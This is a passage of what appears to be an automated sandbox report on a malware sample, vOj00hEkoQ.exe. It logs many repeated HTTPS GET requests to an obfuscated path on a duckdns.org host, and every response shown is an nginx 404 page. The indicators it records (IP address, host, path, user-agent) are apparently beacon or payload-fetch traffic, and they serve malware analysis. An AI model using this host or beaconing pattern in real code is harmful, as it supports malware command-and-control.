2022-08-05 10:12:09 UTC	48	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.6	49912	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:09 UTC	48	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:09 UTC	48	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:09 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:09 UTC	48	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.6	49913	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:09 UTC	48	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:09 UTC	48	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:09 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:09 UTC	48	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.6	49914	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:10 UTC	49	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:10 UTC	49	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:10 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:10 UTC	49	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.6	49915	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:10 UTC	49	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:10 UTC	49	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:10 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:10 UTC	49	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.6	49916	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:10 UTC	49	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:10 UTC	50	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:10 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:10 UTC	50	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.6	49917	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:10 UTC	50	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:10 UTC	50	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:10 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:10 UTC	50	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.6	49775	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:38 UTC	5	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:38 UTC	5	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:38 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:38 UTC	5	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.6	49918	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:11 UTC	50	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:11 UTC	50	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:11 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:11 UTC	51	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.6	49919	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:11 UTC	51	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:11 UTC	51	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:11 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:11 UTC	51	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.6	49920	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:11 UTC	51	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:11 UTC	51	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:11 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:11 UTC	51	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.6	49921	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:11 UTC	52	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:12 UTC	52	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:11 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:12 UTC	52	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.6	49922	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:12 UTC	52	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:12 UTC	52	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:12 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:12 UTC	52	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.6	49923	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:12 UTC	52	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:12 UTC	52	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:12 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:12 UTC	53	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.6	49924	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:12 UTC	53	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:12 UTC	53	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:12 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:12 UTC	53	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.6	49925	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:13 UTC	53	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:13 UTC	53	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:13 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:13 UTC	53	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.6	49926	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:13 UTC	54	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:13 UTC	54	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:13 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:13 UTC	54	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.6	49927	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:13 UTC	54	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:13 UTC	54	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:13 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:13 UTC	54	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49776	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:40 UTC	5	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:40 UTC	5	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:40 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:40 UTC	5	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.6	49928	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:12:13 UTC	54	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:12:13 UTC	55	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:12:13 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:12:13 UTC	55	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
131	192.168.2.6	49929	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
